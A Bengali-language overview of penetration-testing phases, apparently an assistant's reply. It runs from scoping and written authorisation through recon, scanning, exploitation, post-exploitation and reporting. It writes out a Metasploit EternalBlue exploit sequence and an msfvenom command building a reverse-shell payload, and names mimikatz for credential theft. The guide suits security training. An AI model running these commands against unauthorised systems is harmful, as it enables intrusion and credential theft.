পেনেট্রেশন টেস্টের প্রথম পদক্ষেপগুলো সঠিকভাবে অনুসরণ করা খুবই গুরুত্বপূর্ণ। নিচে আমি সেগুলোর একটি বিস্তারিত ব্যাখ্যা দিয়েছি:
১. প্রি-এনগেজমেন্ট ও স্কোপিং
-
এনগেজমেন্টের শর্ত (Rules of Engagement - RoE):
- অনুমতি: টেস্ট শুরু করার আগে সঠিক লিখিত অনুমতি থাকা নিশ্চিত করুন (ক্লায়েন্ট বা সংশ্লিষ্ট কর্তৃপক্ষ থেকে)।
- স্কোপ: টেস্টের পরিধি স্পষ্ট করুন (যেমন, IP রেঞ্জ, সিস্টেম বা নির্দিষ্ট অ্যাসেট যা টেস্ট করতে হবে)।
- সময়ের সীমাবদ্ধতা: সময় এবং বাজেটের ব্যাপারে সমঝোতা করুন।
- রিপোর্টিং: রিপোর্টের ধরন স্পষ্ট করুন, যেমন টেকনিক্যাল এবং এক্সিকিউটিভ স্যামারী রিপোর্ট।
-
ঝুঁকি মূল্যায়ন: টেস্টের আগে লক্ষ্য করুন টার্গেট সিস্টেম বা নেটওয়ার্কের গুরুত্ব এবং প্রভাব (যেমন, ব্যবসায়িক সময়, সিস্টেমের গুরুত্বপূর্ণতা)।
২. তথ্য সংগ্রহ / রিকন (Reconnaissance)
-
প্যাসিভ রিকন (OSINT):
- DNS লুকআপ:
dig,nslookup, বাdnsreconএর মাধ্যমে ডোমেইন সম্পর্কিত তথ্য সংগ্রহ করুন (যেমন, IP অ্যাড্রেস, সাবডোমেইন)। - WHOIS লুকআপ: ডোমেইন রেজিস্ট্রেশন সম্পর্কিত তথ্য জানার জন্য
whoisব্যবহার করুন। - সোশ্যাল মিডিয়া / কর্মী তথ্য: পাবলিক সোশ্যাল মিডিয়া বা প্রফাইল থেকে তথ্য সংগ্রহ করুন যা সোশ্যাল ইঞ্জিনিয়ারিং আক্রমণের জন্য কাজে লাগতে পারে।
- পাবলিক ভলনারেবিলিটি: টার্গেটের ব্যবহৃত সফটওয়্যারের known vulnerabilities চেক করুন (যেমন, CVE ডাটাবেস)।
- গুগল ডর্কিং: গুগল সার্চে অ্যাডভান্সড কুয়েরি ব্যবহার করে সঠিক কনফিগারেশন বা সেন্সিটিভ তথ্য খুঁজুন।
- DNS লুকআপ:
-
অ্যাকটিভ রিকন (যদি অনুমতি থাকে):
- পিং সোয়িপ:
pingবাnmapএর মাধ্যমে জীবিত হোস্ট সনাক্ত করুন। - পোর্ট স্ক্যানিং: ওপেন পোর্ট সনাক্ত করতে
nmapবাmasscanব্যবহার করুন:nmap -p- -T4 -A -v target_ip - সার্ভিস এনিউমারেশন: ওপেন পোর্টের সেবা সম্পর্কে তথ্য সংগ্রহ করুন (
nmapব্যবহার করে ভার্সন ডিটেকশন বা ব্যানার গ্র্যাবিং)। - OS ফিঙ্গারপ্রিন্টিং: টার্গেট সিস্টেমের অপারেটিং সিস্টেম সনাক্ত করতে
nmapব্যবহার করুন:nmap -O target_ip - সাবডোমেইন এনিউমারেশন:
sublist3r,amass, বাdnsreconএর মাধ্যমে সাবডোমেইন খুঁজুন।
- পিং সোয়িপ:
৩. ভলনারেবিলিটি এনালাইসিস
- সার্ভিস সনাক্তকরণ: পোর্ট স্ক্যানিংয়ের মাধ্যমে পাওয়া সার্ভিসগুলোর সংস্করণ এবং সেই সাথে known vulnerabilities পরীক্ষা করুন।
- ভলনারেবিলিটি স্ক্যানিং: স্বয়ংক্রিয় টুল যেমন Nessus বা OpenVAS ব্যবহার করে টার্গেটের সিস্টেমে ভলনারেবিলিটি স্ক্যান করুন।
- Nikto: ওয়েব অ্যাপ্লিকেশনের জন্য vulnerability স্ক্যানিং।
- Wapiti, Burp Suite: ওয়েব অ্যাপ্লিকেশন সিকিউরিটি টেস্টিং।
উদাহরণস্বরূপ, nikto ব্যবহার:
nikto -h http://target_website.com
৪. এক্সপ্লয়েট ও কম্প্রোমাইজ (প্রুফ অফ কনসেপ্ট)
- Known Vulnerabilities এক্সপ্লয়েট করুন:
Metasploitবা কাস্টম স্ক্রিপ্টের মাধ্যমে ভলনারেবিলিটিকে এক্সপ্লয়েট করে সিস্টেমে প্রবেশের চেষ্টা করুন।- উদাহরণস্বরূপ, Metasploit ব্যবহার:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target_ip set LHOST your_ip run
- উদাহরণস্বরূপ, Metasploit ব্যবহার:
- কাস্টম এক্সপ্লয়েট: যদি প্রয়োজন হয়, নিজস্ব এক্সপ্লয়েট বা পে-লোড তৈরি করুন।
msfvenomদিয়ে কাস্টম পে-লোড তৈরি করা যেতে পারে:msfvenom -p linux/x86/shell_reverse_tcp LHOST=your_ip LPORT=4444 -f elf > /tmp/malicious.elf
৫. পোস্ট-এক্সপ্লয়েটেশন (অ্যাক্সেস ধরে রাখা)
-
প্রিভিলেজ এসকেলেশন: যদি আপনি কম প্রিভিলেজড অবস্থানে থাকেন, তাহলে প্রিভিলেজ এসকেলেট করে পূর্ণ নিয়ন্ত্রণ নেওয়ার চেষ্টা করুন।
- লিনাক্সে
sudo -lবাlinuxprivcheckerব্যবহার করতে পারেন। - উইন্ডোজে
mimikatzব্যবহার করে ক্রেডেনশিয়াল বের করতে পারেন।
- লিনাক্সে
-
পিভটিং: যদি প্রয়োজন হয়, কম্প্রোমাইজড সিস্টেমের মাধ্যমে অন্যান্য ইনটার্নাল সিস্টেমে আক্রমণ করা (ল্যাটারাল মুভমেন্ট)।
৬. রিপোর্টিং
- ফাইন্ডিংস ডকুমেন্ট করুন: পুরো টেস্ট চলাকালে সফল এক্সপ্লয়েশন, পাওয়া ভলনারেবিলিটি, এবং যেকোনো ডেটা বা সিস্টেমে অ্যাক্সেস সংক্রান্ত বিস্তারিত নোট রাখুন।
- রিপোর্ট তৈরি করুন: টেস্ট শেষ হলে একটি বিস্তারিত রিপোর্ট তৈরি করুন যার মধ্যে থাকবে:
- এক্সিকিউটিভ স্যামারী (উচ্চ-স্তরের ফলাফল, প্রভাব)।
- টেকনিক্যাল ডিটেইলস (স্টেপ-বাই-স্টেপ প্রক্রিয়া, ভলনারেবিলিটি, এক্সপ্লয়েটস)।
- রেমিডিয়েশন রিকমেন্ডেশনস।
আপনার পরবর্তী পদক্ষেপ: আপনি যদি কোনও পেনেট্রেশন টেস্ট শুরু করছেন, তাহলে আমি সুপারিশ করব প্রথমে রিকন ও ইনিশিয়াল স্ক্যানিং শুরু করুন। আপনি nmap এবং sublist3r ব্যবহার করে টার্গেটের আক্রমণযোগ্য দিক সনাক্ত করতে পারেন। আপনাকে যদি নির্দিষ্ট সেবা স্ক্যানিং বা এক্সপ্লয়েট করার জন্য কোড নমুনা প্রয়োজন হয়, তাহলে আমাকে জানাতে পারেন।